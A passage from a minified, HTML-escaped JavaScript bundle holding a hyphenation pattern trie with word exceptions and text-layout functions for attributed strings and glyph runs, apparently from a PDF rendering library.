uot;r&quot;:175}}},&quot;s&quot;:25,&quot;y&quot;:{&quot;l&quot;:{&quot;a&quot;:{&quot;n&quot;:228}},&quot;s&quot;:{&quot;c&quot;:11}}},&quot;i&quot;:{&quot;a&quot;:[{&quot;b&quot;:1,&quot;t&quot;:{&quot;o&quot;:1},&quot;n&quot;:{&quot;.&quot;:70}},41],&quot;b&quot;:156,&quot;c&quot;:{&quot;k&quot;:18,&quot;o&quot;:21,&quot;u&quot;:157},&quot;d&quot;:{&quot;i&quot;:32},&quot;e&quot;:{&quot;n&quot;:27},&quot;f&quot;:[{&quot;y&quot;:4},8],&quot;g&quot;:[{&quot;u&quot;:32},25],&quot;l&quot;:{&quot;l&quot;:{&quot;i&quot;:{&quot;n&quot;:6}}},&quot;m&quot;:[{&quot;p&quot;:18,&quot;u&quot;:{&quot;l&quot;:5}},41],&quot;n&quot;:[{&quot;a&quot;:24,&quot;e&quot;:{&quot;.&quot;:27},&quot;i&quot;:27,&quot;o&quot;:{&quot;m&quot;:285}},42],&quot;o&quot;:[{&quot;c&quot;:4,&quot;n&quot;:{&quot;e&quot;:{&quot;e&quot;:6}}},41],&quot;q&quot;:32,&quot;s&quot;:{&quot;a&quot;:3,&quot;e&quot;:27,&quot;m&quot;:0,&quot;o&quot;:4,&quot;p&quot;:0,&quot;t&quot;:{&quot;i&quot;:{&quot;c&quot;:{&quot;a&quot;:32}}}},&quot;t&quot;:{&quot;l&quot;:3},&quot;u&quot;:1,&quot;v&quot;:[{&quot;a&quot;:0},41],&quot;z&quot;:[{&quot;a&quot;:3,&quot;e&quot;:{&quot;n&quot;:3}},41]},&quot;l&quot;:[{&quot;a&quot;:[{&quot;n&quot;:17},19],&quot;e&quot;:{&quot;.&quot;:27,&quot;d&quot;:27,&quot;s&quot;:{&quot;.&quot;:27},&quot;t&quot;:{&quot;.&quot;:19}},&quot;o&quot;:19,&quot;i&quot;:{&quot;e&quot;:{&quot;r&quot;:315}}},25],&quot;m&quot;:[{&quot;e&quot;:0},43],&quot;n&quot;:81,&quot;o&quot;:[{&quot;b&quot;:3,&quot;c&quot;:{&quot;r&quot;:{&quot;a&quot;:{&quot;t&quot;:4}}},&quot;d&quot;:{&quot;o&quot;:18},&quot;f&quot;:25,&quot;g&quot;:{&quot;r&quot;:9},&quot;i&quot;:{&quot;c&quot;:4},&quot;m&quot;:{&quot;a&quot;:9,&quot;b&quot;:0,&quot;y&quot;:3},&quot;n&quot;:{&quot;a&quot;:{&quot;l&quot;:{&quot;i&quot;:0},&quot;t&quot;:3},&quot;o&quot;:18,&quot;y&quot;:18},&quot;r&quot;:{&quot;a&quot;:9,&quot;i&quot;:{&quot;e&quot;:3,&quot;z&quot;:5}},&quot;s&quot;:8,&quot;u&quot;:{&quot;r&quot;:32,&quot;t&quot;:18},&quot;w&quot;:{&quot;a&quot;:{&quot;r&quot;:3}},&quot;l&quot;:{&quot;o&quot;:{&quot;g&quot;:{&quot;y&quot;:84}}},&quot;t&quot;:{&quot;i&quot;:{&quot;c&quot;:11}}},41],&quot;p&quot;:43,&quot;r&quot;:{&quot;a&quot;:[{&quot;b&quot;:11,&quot;c&quot;:{&quot;h&quot;:5,&quot;i&quot;:[{&quot;t&quot;:17},36],&quot;t&quot;:{&quot;e&quot;:17}},&quot;s&quot;:17,&quot;v&quot;:{&quot;e&quot;:{&quot;n&quot;:5,&quot;s&quot;:158,&quot;r&quot;:{&quot;s&quot;:[{&quot;a&quot;:{&quot;b&quot;:317}},15]}}},&quot;i&quot;:{&quot;t&quot;:{&quot;o&quot;:{&quot;r&quot;:316}}}},41],&quot;e&quot;:{&quot;f&quot;:5,&quot;m&quot;:[{&quot;i&quot;:6},0],&quot;a&quot;:{&quot;c&quot;:{&quot;h&quot;:{&quot;e&quot;:318}}}},&quot;i&quot;:{&quot;a&quot;:[{&quot;l&quot;:{&quot;.&quot;:1}},32],&quot;c&quot;:{&quot;e&quot;:{&quot;s&quot;:5},&quot;i&quot;:{&quot;a&quot;:32},&quot;s&quot;:18},&quot;m&quot;:25,&quot;v&quot;:0},&quot;o&quot;:{&quot;m&quot;:{&quot;i&quot;:5},&quot;n&quot;:{&quot;i&quot;:6,&quot;y&quot;:18},&quot;p&quot;:{&quot;h&quot;:{&quot;e&quot;:5},&quot;i&quot;:{&quot;s&quot;:175},&quot;o&quot;:{&quot;l&quot;:{&quot;e&quot;:{&quot;s&quot;:320},&quot;i&quot;:{&quot;s&quot;:320,&quot;t&quot;:321}}}},&quot;s&quot;:{&quot;p&quot;:11},&quot;v&quot;:11,&quot;l&quot;:{&quot;e&quot;:{&quot;u&quot;:{&quot;m&quot;:319}}},&quot;f&quot;:{&quot;i&quot;:{&quot;c&quot;:{&quot;.&quot;:17},&quot;t&quot;:11}}},&quot;u&quot;:{&quot;i&quot;:5,&quot;s&quot;:17}},&quot;s&quot;:[{&quot;c&quot;:[{&quot;h&quot;:{&quot;i&quot;:{&quot;e&quot;:12}}},21],&quot;h&quot;:0,&quot;w&quot;:21},101],&quot;t&quot;:[{&quot;e&quot;:{&quot;s&quot;:21},&quot;o&quot;:19,&quot;u&quot;:0,&quot;r&quot;:{&quot;i&quot;:{&quot;b&quot;:{&quot;u&quot;:{&quot;t&quot;:322}}}}},66],&quot;u&quot;:[{&quot;a&quot;:[{&quot;r&quot;:3},2],&quot;b&quot;:{&quot;i&quot;:1},&quot;d&quot;:8,&quot;e&quot;:18,&quot;f&quot;:46,&quot;i&quot;:76,&quot;m&quot;:27,&quot;n&quot;:{&quot;i&quot;:{&quot;s&quot;:1}},&quot;p&quot;:{&quot;.&quot;:48},&quot;r&quot;:{&quot;e&quot;:27,&quot;i&quot;:[{&quot;s&quot;:11},32],&quot;o&quot;:5,&quot;y&quot;:4,&quot;n&quot;:{&quot;a&quot;:{&quot;r&quot;:12}}},&quot;s&quot;:27},41],&quot;v&quot;:18,&quot;w&quot;:[{&quot;a&quot;:43,&quot;i&quot;:{&quot;s&quot;:17},&quot;o&quot;:18,&quot;h&quot;:29},1],&quot;y&quot;:[{&quot;a&quot;:18,&quot;l&quot;:25,&quot;p&quot;:{&quot;e&quot;:12,&quot;h&quot;:4,&quot;a&quot;:{&quot;l&quot;:64}}},41],&quot;z&quot;:[{&quot;e&quot;:1},18]},&quot;u&quot;:{&quot;a&quot;:{&quot;b&quot;:18,&quot;c&quot;:0,&quot;n&quot;:{&quot;a&quot;:4,&quot;i&quot;:0},&quot;r&quot;:{&quot;a&quot;:{&quot;n&quot;:{&quot;t&quot;:5}},&quot;d&quot;:8,&quot;i&quot;:11,&quot;t&quot;:11},&quot;t&quot;:29,&quot;v&quot;:0,&quot;d&quot;:{&quot;r&quot;:{&quot;a&quot;:{&quot;t&quot;:{&quot;i&quot;:3,&quot;u&quot;:15}}}}},&quot;b&quot;:{&quot;e&quot;:[{&quot;l&quot;:21,&quot;r&quot;:[{&quot;o&quot;:21},23]},1],&quot;i&quot;:[{&quot;n&quot;:{&quot;g&quot;:33}},72],&quot;l&quot;:{&quot;e&quot;:{&quot;.&quot;:23}}},&quot;c&quot;:{&quot;a&quot;:23,&quot;i&quot;:{&quot;b&quot;:0,&quot;t&quot;:1},&quot;l&quot;:{&quot;e&quot;:12},&quot;r&quot;:23,&quot;u&quot;:23,&quot;y&quot;:21},&quot;d&quot;:{&quot;d&quot;:4,&quot;e&quot;:{&quot;r&quot;:3,&quot;s&quot;:{&quot;t&quot;:4},&quot;v&quot;:17},&quot;i&quot;:{&quot;c&quot;:29,&quot;e&quot;:{&quot;d&quot;:3,&quot;s&quot;:3},&quot;s&quot;:4,&quot;t&quot;:19},&quot;o&quot;:{&quot;n&quot;:[{&quot;y&quot;:232},21]},&quot;s&quot;:{&quot;i&quot;:1},&quot;u&quot;:21},&quot;e&quot;:{&quot;n&quot;:{&quot;e&quot;:21,&quot;s&quot;:17,&quot;t&quot;:{&quot;e&quot;:0}},&quot;r&quot;:{&quot;i&quot;:{&quot;l&quot;:0}},&quot;a&quot;:{&quot;m&quot;:15}},&quot;f&quot;:{&quot;a&quot;:27,&quot;l&quot;:23},&quot;g&quot;:{&quot;h&quot;:{&quot;e&quot;:{&quot;n&quot;:11}},&quot;i&quot;:{&quot;n&quot;:4}},&quot;i&quot;:[{&quot;l&quot;:{&quot;i&quot;:{&quot;z&quot;:5}},&quot;n&quot;:[{&quot;g&quot;:29},1],&quot;r&quot;:{&quot;m&quot;:0},&quot;t&quot;:{&quot;a&quot;:17},&quot;v&quot;:[{&quot;e&quot;:{&quot;r&quot;:{&quot;.&quot;:0}}},11]},156],&quot;j&quot;:19,&quot;k&quot;:18,&quot;l&quot;:{&quot;a&quot;:[{&quot;b&quot;:5,&quot;t&quot;:{&quot;i&quot;:19}},29],&quot;c&quot;:{&quot;h&quot;:[{&quot;e&quot;:32},17]},&quot;d&quot;:{&quot;e&quot;:{&quot;r&quot;:3}},&quot;e&quot;:[{&quot;n&quot;:29},1],&quot;g&quot;:{&quot;i&quot;:1},&quot;i&quot;:[{&quot;a&quot;:19,&quot;n&quot;:{&quot;g&quot;:3},&quot;s&quot;:{&quot;h&quot;:4}},9],&quot;l&quot;:{&quot;a&quot;:{&quot;r&quot;:1},&quot;i&quot;:{&quot;b&quot;:96,&quot;s&quot;:1}},&quot;m&quot;:61,&quot;o&quot;:72,&quot;s&quot;:[{&quot;e&quot;:{&quot;s&quot;:5}},18],&quot;t&quot;:{&quot;i&quot;:2,&quot;r&quot;:{&quot;a&quot;:54},&quot;u&quot;:18},&quot;u&quot;:[{&quot;l&quot;:4},23],&quot;v&quot;:4},&quot;m&quot;:{&quot;a&quot;:{&quot;b&quot;:4},&quot;b&quot;:{&quot;i&quot;:1,&quot;l&quot;:{&quot;y&quot;:1}},&quot;i&quot;:[{&quot;n&quot;:{&quot;g&quot;:83}},29],&quot;o&quot;:{&quot;r&quot;:{&quot;o&quot;:6}},&quot;p&quot;:9},&quot;n&quot;:{&quot;a&quot;:{&quot;t&quot;:17},&quot;e&quot;:[{&quot;r&quot;:1},24],&quot;i&quot;:[{&quot;m&quot;:1,&quot;n&quot;:24,&quot;s&quot;:{&quot;h&quot;:4},&quot;v&quot;:11},29],&quot;s&quot;:[{&quot;w&quot;:1},93],&quot;t&quot;:{&quot;a&quot;:{&quot;b&quot;:11},&quot;e&quot;:{&quot;r&quot;:{&quot;.&quot;:1},&quot;s&quot;:1}},&quot;u&quot;:0,&quot;y&quot;:4,&quot;z&quot;:4},&quot;o&quot;:{&quot;r&quot;:{&quot;s&quot;:21},&quot;s&quot;:19,&quot;u&quot;:29},&quot;p&quot;:{&quot;e&quot;:[{&quot;r&quot;:{&quot;s&quot;:6}},29],&quot;i&quot;:{&quot;a&quot;:19,&quot;n&quot;:{&quot;g&quot;:3}},&quot;l&quot;:23,&quot;p&quot;:[{&quot;o&quot;:{&quot;r&quot;:{&quot;t&quot;:10}}},3],&quot;t&quot;:{&quot;i&quot;:{&quot;b&quot;:5},&quot;u&quot;:17}},&quot;r&quot;:{&quot;a&quot;:[{&quot;.&quot;:18,&quot;g&quot;:21,&quot;s&quot;:21,&quot;l&quot;:{&quot;.&quot;:216}},29],&quot;b&quot;:{&quot;e&quot;:1},&quot;c&quot;:0,&quot;d&quot;:2,&quot;e&quot;:{&quot;a&quot;:{&quot;t&quot;:5}},&quot;f&quot;:{&quot;e&quot;:{&quot;r&quot;:1},&quot;r&quot;:1},&quot;i&quot;:{&quot;f&quot;:[{&quot;i&quot;:{&quot;c&quot;:0}},23],&quot;n&quot;:2,&quot;o&quot;:23,&quot;t&quot;:29,&quot;z&quot;:3,&quot;a&quot;:{&quot;l&quot;:{&quot;.&quot;:0}}},&quot;l&quot;:[{&quot;i&quot;:{&quot;n&quot;:{&quot;g&quot;:{&quot;.&quot;:5}}}},9],&quot;n&quot;:{&quot;o&quot;:1},&quot;o&quot;:{&quot;s&quot;:17},&quot;p&quot;:{&quot;e&quot;:1,&quot;i&quot;:1},&quot;s&quot;:{&quot;e&quot;:{&quot;r&quot;:5}},&quot;t&quot;:{&quot;e&quot;:{&quot;s&quot;:4},&quot;h&quot;:{&quot;e&quot;:3},&quot;i&quot;:[{&quot;e&quot;:1},17]},&quot;u&quot;:23},&quot;s&quot;:[{&quot;a&quot;:{&quot;d&quot;:19,&quot;n&quot;:19,&quot;p&quot;:1},&quot;c&quot;:[{&quot;i&quot;:3},8],&quot;e&quot;:{&quot;a&quot;:5,&quot;r&quot;:{&quot;.&quot;:9}},&quot;i&quot;:{&quot;a&quot;:19,&quot;c&quot;:23},&quot;l&quot;:{&quot;i&quot;:{&quot;n&quot;:1}},&quot;p&quot;:2,&quot;s&quot;:{&quot;l&quot;:4},&quot;t&quot;:{&quot;e&quot;:{&quot;r&quot;:{&quot;e&quot;:4}},&quot;r&quot;:2},&quot;u&quot;:[{&quot;r&quot;:17},24]},25],&quot;t&quot;:{&quot;a&quot;:{&quot;b&quot;:0,&quot;t&quot;:23},&quot;e&quot;:{&quot;.&quot;:18,&quot;l&quot;:18,&quot;n&quot;:[{&quot;i&quot;:17},18]},&quot;i&quot;:[{&quot;l&quot;:{&quot;i&quot;:{&quot;z&quot;:5}},&quot;n&quot;:{&quot;e&quot;:23,&quot;g&quot;:3},&quot;o&quot;:{&quot;n&quot;:{&quot;a&quot;:7}},&quot;s&quot;:21,&quot;z&quot;:31},101],&quot;l&quot;:34,&quot;o&quot;:{&quot;f&quot;:4,&quot;g&quot;:5,&quot;m&quot;:{&quot;a&quot;:{&quot;t&quot;:{&quot;i&quot;:{&quot;c&quot;:5}}}},&quot;n&quot;:19,&quot;u&quot;:21},&quot;s&quot;:0},&quot;u&quot;:[{&quot;m&quot;:1},23],&quot;v&quot;:74,&quot;x&quot;:{&quot;u&quot;:11},&quot;z&quot;:{&quot;e&quot;:1}},&quot;v&quot;:{&quot;a&quot;:[{&quot;.&quot;:32,&quot;b&quot;:159,&quot;c&quot;:{&quot;i&quot;:{&quot;l&quot;:5},&quot;u&quot;:11},&quot;g&quot;:[{&quot;e&quot;:1,&quot;u&quot;:{&quot;e&quot;:{&quot;r&quot;:170}}},0],&quot;l&quot;:{&quot;i&quot;:{&quot;e&quot;:4},&quot;o&quot;:5,&quot;u&quot;:15},&quot;m&quot;:{&quot;o&quot;:4},&quot;n&quot;:{&quot;i&quot;:{&quot;z&quot;:4}},&quot;p&quot;:{&quot;i&quot;:4},&quot;r&quot;:{&quot;i&quot;:{&quot;e&quot;:{&quot;d&quot;:5}}},&quot;t&quot;:[{&quot;i&quot;:{&quot;v&quot;:29}},27],&quot;u&quot;:{&quot;d&quot;:{&quot;e&quot;:{&quot;v&quot;:54}}}},41],&quot;e&quot;:{&quot;.&quot;:18,&quot;d&quot;:18,&quot;g&quot;:11,&quot;l&quot;:{&quot;.&quot;:23,&quot;l&quot;:{&quot;i&quot;:11},&quot;o&quot;:1,&quot;y&quot;:21},&quot;n&quot;:{&quot;o&quot;:{&quot;m&quot;:11},&quot;u&quot;:{&quot;e&quot;:19}},&quot;r&quot;:{&quot;d&quot;:21,&quot;e&quot;:{&quot;.&quot;:32,&quot;l&quot;:[{&quot;y&quot;:{&quot;.&quot;:41}},21],&quot;n&quot;:[{&quot;c&quot;:5},23],&quot;s&quot;:21,&quot;i&quot;:{&quot;g&quot;:324}},&quot;i&quot;:{&quot;e&quot;:11},&quot;m&quot;:{&quot;i&quot;:{&quot;n&quot;:36}},&quot;s&quot;:{&quot;e&quot;:27},&quot;t&quot;:{&quot;h&quot;:11}},&quot;s&quot;:[{&quot;.&quot;:18,&quot;t&quot;:{&quot;e&quot;:0,&quot;i&quot;:{&quot;t&quot;:{&quot;e&quot;:15}}}},99],&quot;t&quot;:{&quot;e&quot;:[{&quot;r&quot;:11},1],&quot;y&quot;:1}},&quot;i&quot;:{&quot;a&quot;:{&quot;l&quot;:{&quot;i&quot;:4},&quot;n&quot;:32},&quot;d&quot;:{&quot;e&quot;:{&quot;.&quot;:32,&quot;d&quot;:32,&quot;n&quot;:47,&quot;s&quot;:32},&quot;i&quot;:32},&quot;f&quot;:23,&quot;g&quot;:{&quot;n&quot;:4},&quot;k&quot;:0,&quot;l&quot;:[{&quot;i&quot;:{&quot;t&quot;:32,&quot;z&quot;:127}},25],&quot;n&quot;:[{&quot;a&quot;:26,&quot;c&quot;:24,&quot;d&quot;:5,&quot;g&quot;:18},29],&quot;o&quot;:{&quot;l&quot;:11,&quot;r&quot;:73,&quot;u&quot;:2},&quot;p&quot;:1,&quot;r&quot;:{&quot;o&quot;:4},&quot;s&quot;:{&quot;i&quot;:{&quot;t&quot;:11},&quot;o&quot;:3,&quot;u&quot;:3},&quot;t&quot;:{&quot;i&quot;:18,&quot;r&quot;:11,&quot;y&quot;:18},&quot;v&quot;:[{&quot;i&quot;:{&quot;p&quot;:{&quot;a&quot;:{&quot;r&quot;:325}}}},27]},&quot;o&quot;:{&quot;.&quot;:32,&quot;i&quot;:[{&quot;r&quot;:{&quot;d&quot;:{&quot;u&quot;:323}},&quot;c&quot;:{&quot;e&quot;:{&quot;p&quot;:213}}},0],&quot;k&quot;:27,&quot;l&quot;:{&quot;a&quot;:1,&quot;e&quot;:19,&quot;t&quot;:32,&quot;v&quot;:27},&quot;m&quot;:{&quot;i&quot;:5},&quot;r&quot;:{&quot;a&quot;:{&quot;b&quot;:5},&quot;i&quot;:17,&quot;y&quot;:1},&quot;t&quot;:{&quot;a&quot;:1,&quot;e&quot;:{&quot;e&quot;:18}}},&quot;v&quot;:26,&quot;y&quot;:21},&quot;w&quot;:{&quot;a&quot;:{&quot;b&quot;:{&quot;l&quot;:19},&quot;c&quot;:25,&quot;g&quot;:{&quot;e&quot;:{&quot;r&quot;:4},&quot;o&quot;:5},&quot;i&quot;:{&quot;t&quot;:6},&quot;l&quot;:{&quot;.&quot;:19},&quot;m&quot;:0,&quot;r&quot;:{&quot;t&quot;:0},&quot;s&quot;:{&quot;t&quot;:[{&quot;e&quot;:{&quot;w&quot;:{&quot;a&quot;:326}}},0]},&quot;t&quot;:{&quot;e&quot;:2},&quot;v&quot;:{&quot;e&quot;:{&quot;r&quot;:4,&quot;g&quot;:327}}},&quot;b&quot;:29,&quot;e&quot;:{&quot;a&quot;:{&quot;r&quot;:{&quot;i&quot;:{&quot;e&quot;:5}},&quot;t&quot;:{&quot;h&quot;:54}},&quot;d&quot;:{&quot;n&quot;:0},&quot;e&quot;:{&quot;t&quot;:12,&quot;v&quot;:5,&quot;k&quot;:{&quot;n&quot;:137}},&quot;l&quot;:{&quot;l&quot;:0},&quot;r&quot;:29,&quot;s&quot;:{&quot;t&quot;:12},&quot;v&quot;:23},&quot;h&quot;:{&quot;i&quot;:0},&quot;i&quot;:[{&quot;l&quot;:[{&quot;l&quot;:{&quot;i&quot;:{&quot;n&quot;:6}}},8],&quot;n&quot;:{&quot;d&quot;:{&quot;e&quot;:0},&quot;g&quot;:0},&quot;r&quot;:0,&quot;s&quot;:{&quot;e&quot;:27},&quot;t&quot;:{&quot;h&quot;:12},&quot;z&quot;:5,&quot;d&quot;:{&quot;e&quot;:{&quot;s&quot;:{&quot;p&quot;:6}}}},9],&quot;k&quot;:21,&quot;l&quot;:{&quot;e&quot;:{&quot;s&quot;:1},&quot;i&quot;:{&quot;n&quot;:3}},&quot;n&quot;:{&quot;o&quot;:21},&quot;o&quot;:[{&quot;m&quot;:15,&quot;v&quot;:{&quot;e&quot;:{&quot;n&quot;:4}},&quot;k&quot;:{&quot;e&quot;:{&quot;n&quot;:85}}},160],&quot;p&quot;:19,&quot;r&quot;:{&quot;a&quot;:[{&quot;p&quot;:{&quot;a&quot;:{&quot;r&quot;:{&quot;o&quot;:12}}}},0],&quot;i&quot;:[{&quot;t&quot;:{&quot;a&quot;:36,&quot;e&quot;:{&quot;r&quot;:{&quot;.&quot;:183}}}},0]},&quot;s&quot;:{&quot;h&quot;:23,&quot;l&quot;:1,&quot;p&quot;:{&quot;e&quot;:1},&quot;t&quot;:60},&quot;t&quot;:18,&quot;y&quot;:1,&quot;c&quot;:23},&quot;x&quot;:{&quot;a&quot;:[{&quot;c&quot;:{&quot;e&quot;:5},&quot;g&quot;:{&quot;o&quot;:21},&quot;m&quot;:11,&quot;p&quot;:21,&quot;s&quot;:5},29],&quot;c&quot;:161,&quot;e&quot;:[{&quot;c&quot;:{&quot;u&quot;:{&quot;t&quot;:{&quot;o&quot;:1}}},&quot;d&quot;:24,&quot;r&quot;:{&quot;i&quot;:0,&quot;o&quot;:4}},29],&quot;h&quot;:[{&quot;i&quot;:[{&quot;l&quot;:6},8],&quot;u&quot;:0},29],&quot;i&quot;:[{&quot;a&quot;:4,&quot;c&quot;:4,&quot;d&quot;:{&quot;i&quot;:4},&quot;m&quot;:{&quot;e&quot;:21,&quot;i&quot;:{&quot;z&quot;:4}}},23],&quot;o&quot;:[{&quot;b&quot;:21},23],&quot;p&quot;:[{&quot;a&quot;:{&quot;n&quot;:{&quot;d&quot;:17}},&quot;e&quot;:{&quot;c&quot;:{&quot;t&quot;:{&quot;o&quot;:10}},&quot;d&quot;:11}},23],&quot;t&quot;:[{&quot;i&quot;:23},74],&quot;u&quot;:[{&quot;a&quot;:3},29],&quot;x&quot;:1,&quot;q&quot;:[{&quot;u&quot;:{&quot;i&quot;:{&quot;s&quot;:54}}},29]},&quot;y&quot;:{&quot;a&quot;:{&quot;c&quot;:19,&quot;r&quot;:110,&quot;t&quot;:19},&quot;b&quot;:29,&quot;c&quot;:[{&quot;e&quot;:[{&quot;r&quot;:4},24],&quot;h&quot;:[{&quot;e&quot;:[{&quot;d&quot;:264},0]},23],&quot;o&quot;:{&quot;m&quot;:17,&quot;t&quot;:17}},29],&quot;d&quot;:29,&quot;e&quot;:{&quot;e&quot;:19,&quot;r&quot;:[{&quot;f&quot;:21},29],&quot;s&quot;:[{&quot;t&quot;:{&quot;e&quot;:{&quot;r&quot;:{&quot;y&quot;:328}}}},0],&quot;t&quot;:1},&quot;g&quot;:{&quot;i&quot;:19},&quot;h&quot;:47,&quot;i&quot;:29,&quot;l&quot;:{&quot;a&quot;:23,&quot;l&quot;:{&quot;a&quot;:{&quot;b&quot;:{&quot;l&quot;:6}}},&quot;o&quot;:23,&quot;u&quot;:19},&quot;m&quot;:{&quot;b&quot;:{&quot;o&quot;:{&quot;l&quot;:7}},&quot;e&quot;:[{&quot;t&quot;:{&quot;r&quot;:{&quot;y&quot;:20}}},0],&quot;p&quot;:{&quot;a&quot;:12}},&quot;n&quot;:{&quot;c&quot;:{&quot;h&quot;:{&quot;r&quot;:3}},&quot;d&quot;:4,&quot;g&quot;:4,&quot;i&quot;:{&quot;c&quot;:4},&quot;x&quot;:32},&quot;o&quot;:[{&quot;d&quot;:4,&quot;g&quot;:33,&quot;m&quot;:0,&quot;n&quot;:{&quot;e&quot;:{&quot;t&quot;:4},&quot;s&quot;:21},&quot;s&quot;:21},72],&quot;p&quot;:{&quot;e&quot;:{&quot;d&quot;:21,&quot;r&quot;:6},&quot;i&quot;:3,&quot;o&quot;:[{&quot;c&quot;:21},23],&quot;t&quot;:{&quot;a&quot;:9},&quot;u&quot;:19},&quot;r&quot;:{&quot;a&quot;:{&quot;m&quot;:5},&quot;i&quot;:{&quot;a&quot;:4},&quot;o&quot;:23,&quot;r&quot;:1},&quot;s&quot;:{&quot;c&quot;:1,&quot;e&quot;:161,&quot;i&quot;:{&quot;c&quot;:{&quot;a&quot;:3},&quot;o&quot;:3,&quot;s&quot;:27},&quot;o&quot;:21,&quot;s&quot;:0,&quot;t&quot;:[{&quot;a&quot;:3,&quot;r&quot;:{&quot;o&quot;:29}},2],&quot;u&quot;:{&quot;r&quot;:17}},&quot;t&quot;:{&quot;h&quot;:{&quot;i&quot;:{&quot;n&quot;:23}},&quot;i&quot;:{&quot;c&quot;:3}},&quot;w&quot;:29},&quot;z&quot;:{&quot;a&quot;:[{&quot;b&quot;:79,&quot;r&quot;:8},2],&quot;b&quot;:18,&quot;e&quot;:[{&quot;n&quot;:1,&quot;p&quot;:1,&quot;r&quot;:[{&quot;o&quot;:3},29],&quot;t&quot;:0},25],&quot;i&quot;:[{&quot;l&quot;:21,&quot;s&quot;:21,&quot;a&quot;:{&quot;n&quot;:{&quot;.&quot;:23}}},42],&quot;l&quot;:32,&quot;m&quot;:18,&quot;o&quot;:[{&quot;m&quot;:1,&quot;o&quot;:{&quot;l&quot;:4},&quot;p&quot;:{&quot;h&quot;:{&quot;r&quot;:329}}},41],&quot;t&quot;:{&quot;e&quot;:0},&quot;z&quot;:[{&quot;y&quot;:21,&quot;w&quot;:231},101]}}&#039;,[&quot;as-so-ciate&quot;,&quot;as-so-ciates&quot;,&quot;dec-li-na-tion&quot;,&quot;oblig-a-tory&quot;,&quot;phil-an-thropic&quot;,&quot;present&quot;,&quot;presents&quot;,&quot;project&quot;,&quot;projects&quot;,&quot;reci-procity&quot;,&quot;re-cog-ni-zance&quot;,&quot;ref-or-ma-tion&quot;,&quot;ret-ri-bu-tion&quot;,&quot;ta-ble&quot;]]})})(Y5)),Y5.exports}var fke=dke();const hke=ma(fke),A8=e=&gt;{let t=0,r=&quot;&quot;;const n=[];return e.forEach(i=&gt;{r+=i.string,n.push({...i,start:t,end:t+i.string.length,attributes:i.attributes||{}}),t+=i.string.length}),{string:r,runs:n}},mke=e=&gt;[e],pke=(e={},t={})=&gt;r=&gt;{const n=[],i=[],s=t.hyphenationCallback||e.wordHyphenation?.()||mke;for(let l=0;l&lt;r.runs.length;l+=1){let c=&quot;&quot;;const d=r.runs[l],u=r.string.slice(d.start,d.end).split(/([ ]+)/g).filter(Boolean);for(let h=0;h&lt;u.length;h+=1){const p=u[h],A=s(p);n.push(...A),c+=A.join(&quot;&quot;)}i.push({...d,string:c})}return{...A8(i),syllables:n}},gke=e=&gt;Object.assign({},e),EW=(e,t)=&gt;{const r=Object.assign({},e,{height:t}),n=Object.assign({},e,{y:e.y+t,height:e.height-t});return[r,n]},Ake=(e,t)=&gt;{const[,r]=EW(t,e);return r},xke=e=&gt;e.reduce((t,r)=&gt;t+r.box.height,0),vke=e=&gt;{const t=e.attributes||{},r=t.fontSize||12,n=t.font,i=typeof n==&quot;string&quot;?null:n?.[0]?.unitsPerEm;return i?r/i:0},rx=e=&gt;e.attributes?.scale||vke(e),RQ=(e,t)=&gt;{if(!t)return 0;const r=t.glyphIndices||[],n=r[e];return r.slice(0,e).filter(i=&gt;i===n).length},x8=e=&gt;e.attributes?.font?.[0]||null,PQ=(e,t,r,n)=&gt;{if(!n)return[];if(e===t)return[];if(e===0&amp;&amp;t===n.codePoints.length)return[n];const i=n.codePoints.slice(e,t),s=String.fromCodePoint(...i);return r?r.layout(s,void 0,void 0,void 0,&quot;ltr&quot;).glyphs:[n]},zw=(e,t)=&gt;{const r=t?.glyphIndices?.[e];return Oa(r)?e:r},CW=e=&gt;{const t=e[0];return e.map(r=&gt;r-t)},Ov=(e,t,r)=&gt;{const n=rx(r),i=x8(r),s=zw(e,r),o=zw(t,r),l=r.glyphs?.[s],c=r.glyphs?.[o],d=RQ(e,r),u=d&gt;0?PQ(d,1/0,i,l):[],h=RQ(t,r),p=PQ(0,h,i,c),A=s+Math.min(1,d),y=(r.glyphs||[]).slice(A,o),v=S=&gt;({xAdvance:S.advanceWidth*n,yAdvance:0,xOffset:0,yOffset:0}),w=u.map(v),j=(r.positions||[]).slice(A,o),E=p.map(v);return Object.assign({},r,{start:r.start+e,end:Math.min(r.end,r.start+t),glyphIndices:CW((r.glyphIndices||[]).slice(e,t)),glyphs:[u,y,p].flat(),positions:[w,j,E].flat()})},e6=(e,t)=&gt;t?t.findIndex(r=&gt;r.start&lt;=e&amp;&amp;e&lt;r.end):-1,IW=(e,t,r)=&gt;{const n=e6(e,r),i=Math.max(e6(t-1,r),n);return r.slice(n,i+1)},yke=(e,t)=&gt;{const r=t.start-e,n=t.end-e;return Object.assign({},t,{start:r,end:n})},bke=(e,t,r)=&gt;{const n=s=&gt;Ov(e-s.start,t-s.start,s),i=s=&gt;Ov(0,t-s.start,s);return r.map((s,o)=&gt;{let l=s;const c=o===0,d=!c&amp;&amp;o===r.length-1;return c&amp;&amp;(l=n(s)),d&amp;&amp;(l=i(s)),yke(e,l)})},r1=(e,t,r)=&gt;{if(r.string.length===0)return r;const n=r.string.slice(e,t),i=IW(e,t,r.runs),s=bke(e,t,i);return Object.assign({},r,{string:n,runs:s})},wke=e=&gt;e.search(/\S/g),Eke=e=&gt;{const t=e.match(/\S/g);return t?e.lastIndexOf(t[t.length-1]):-1},Cke=e=&gt;{const t=wke(e.string),r=Eke(e.string);return r1(t,r+1,e)},Ike=()=&gt;({start:0,end:0,glyphIndices:[],glyphs:[],positions:[],attributes:{}}),jW=e=&gt;typeof e==&quot;number&quot;,jke=(e,t)=&gt;{const r=eh(t),n=Oa(r)?0:r+1,i=Array(e).fill(n);return t.concat(i)},NW=(e,t)=&gt;typeof t==&quot;string&quot;?null:t&amp;&amp;e?t.glyphForCodePoint(e):null,Nke=(e,t)=&gt;{const r=e.codePoints?.length||0,n=t.end+r,i=t.glyphs.concat(e),s=jke(r,t.glyphIndices);if(!t.positions)return Object.assign({},t,{end:n,glyphs:i,glyphIndices:s});const o=t.positions.concat({xAdvance:e.advanceWidth*rx(t),yAdvance:0,xOffset:0,yOffset:0});return Object.assign({},t,{end:n,glyphs:i,glyphIndices:s,positions:o})},SW=(e,t)=&gt;{if(!e)return t;const r=x8(t),n=jW(e)?NW(e,r):e;return Nke(n,t)},BW=e=&gt;String.fromCodePoint(...e||[]),kW=(e,t)=&gt;{const r=typeof e==&quot;number&quot;?[e]:e?.codePoints,n=BW(r||[]),i=t.string+n,s=t.runs.slice(0,-1),o=eh(t.runs)||Ike(),l=s.concat(SW(e,o));return 